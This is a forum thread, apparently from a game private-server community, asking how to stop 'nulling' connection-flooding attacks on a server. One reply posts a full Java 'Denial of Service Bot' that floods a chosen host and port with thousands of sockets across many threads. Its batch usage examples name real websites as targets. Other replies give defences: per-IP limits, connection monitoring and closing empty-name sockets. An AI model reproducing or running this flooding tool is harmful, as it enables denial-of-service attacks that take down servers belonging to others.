SYI Nulling

Everyone here should know what the Syipkpker does. It has two options: sending fake login packets and nulling. In order for my friend to be able to stop both of them, he needs to know what exactly "nulling" does. Anyone here know?

Oh, and he said that limiting connections per IP should help. But I figured I'd ask here anyways.

 

Most SYI's have viruses. Don't download any random one. You should scan before using. :]

 

Nulling is basically filling up a server's player requests until the server eventually shuts down.

 

So, would restricting logins to one per IP stop it?

 

I have a simple bot you can use. I'm unsure how SYI works, either repeated pinging or sending packets to the server.

Code:

import java.io.PrintStream;
import java.net.Socket;

public class Bot implements Runnable {

			/*******
			@echo off
			title Denial of Service Bot
			::Arguments - [String hostname] [int port] [int threadcount] [int sockcount]
			java Bot rune-server.org 80 76 9999
			pause
			*******/


	public static long startTime;
		//
	public static Bot[] BotThreads;
		//
	public static int attackPort;
	public static String attackHost;
		//
	public static int maxSockets;
		//
	public static int badThreads;
	public static int goodThreads;
		//
	public static boolean dead;

	Socket sock;

	public Bot() {
		this.sock = null;
	}


	public static void main(String args[]) {
		System.out.println("Denial of Service - Starting...");
		startTime = System.currentTimeMillis();
			if (args.length != 4) {
				die("Syntax: <host> <port> <threads> <sockets>");
					}
					try {
						System.out.println("[" + Integer.parseInt(args[3]) + " Sockets] [" + args[2] + " Threads] @ [" + args[0] + ":" + args[1] + "]");
							goodThreads =  0;
							badThreads = 0;
								attackHost = args[0];
								attackPort = Integer.parseInt(args[1]);
								maxSockets = Integer.parseInt(args[3]);
								BotThreads = new Bot[Integer.parseInt(args[2])];
							for (int i = 0; i < Integer.parseInt(args[2]); i++) {
					BotThreads[i] = new Bot();
					new Thread(BotThreads[i]).start();
				}
				while(true) {
					try {
				Thread.sleep(1000);
			} catch(Exception __ex) {
				}
				System.out.println("Bot Data: " + (goodThreads + badThreads) + " (" + goodThreads + " threads, " + badThreads + " null threads)");
			}
		} catch(Exception _ex) {
			die("Startup Error.");
		}
	}


	public void run() {
		try {
			while(this.goodThreads + this.badThreads <= this.maxSockets) {
				synchronized(this) {
					try {
						sock = new Socket(this.attackHost, this.attackPort);
						this.goodThreads++;
					} catch(Exception _ex) {
							this.badThreads++;
						}
					try {
					Thread.sleep((int)(Math.random()*500));
				} catch(Exception __ex) {
					this.die("Run Error.");
					}
				}
			}
			synchronized(this) {
		this.die("Sockets opened: " + (goodThreads + badThreads) + " (" + goodThreads + " Valid Threads, " + badThreads + " Null Threads)");
			}
		} catch(Exception _ex) {
			this.die("Error initializing thread.");
		}
	}


	public static void die(String str) {
		dead = true;
		for(int i = 0; i < BotThreads.length; i++) {
			if (BotThreads[i] == null) continue;
			BotThreads[i] = null;
		}
		System.out.println("\n" + str);
		System.out.println("Total attack time: " + ((System.currentTimeMillis()-startTime)) + "ms");
		System.exit(0);
		}
	}

Example usage (batch.)

Code:

			@echo off
			title Denial of Service Bot
			::Arguments - [String hostname] [int port] [int threadcount] [int sockcount]
			java Bot sythe.org 80 76 9999
			pause

Be responsible.

 

Thread's old, and I am unsure how that helps me at all, actually. I wasn't looking for an SYI/DoS script, I was asking how to prevent it, lol.

 

You should be more specific.

Also, wouldn't looking at the code be the best way to understand how the attacks work and the best way to prevent them?

 

okay well this is how i stopped it

i downloaded a program that reads all connections to ur computer's ip
and restrict the nullers so they don't do anything
so it doesnt effect the server as much, however u have to constintly monitor it

or the expensive way... buy a VPS, like from vpsland or mghoster


also in server.java in the run method if (playerName.length() == 0) { s.close(); }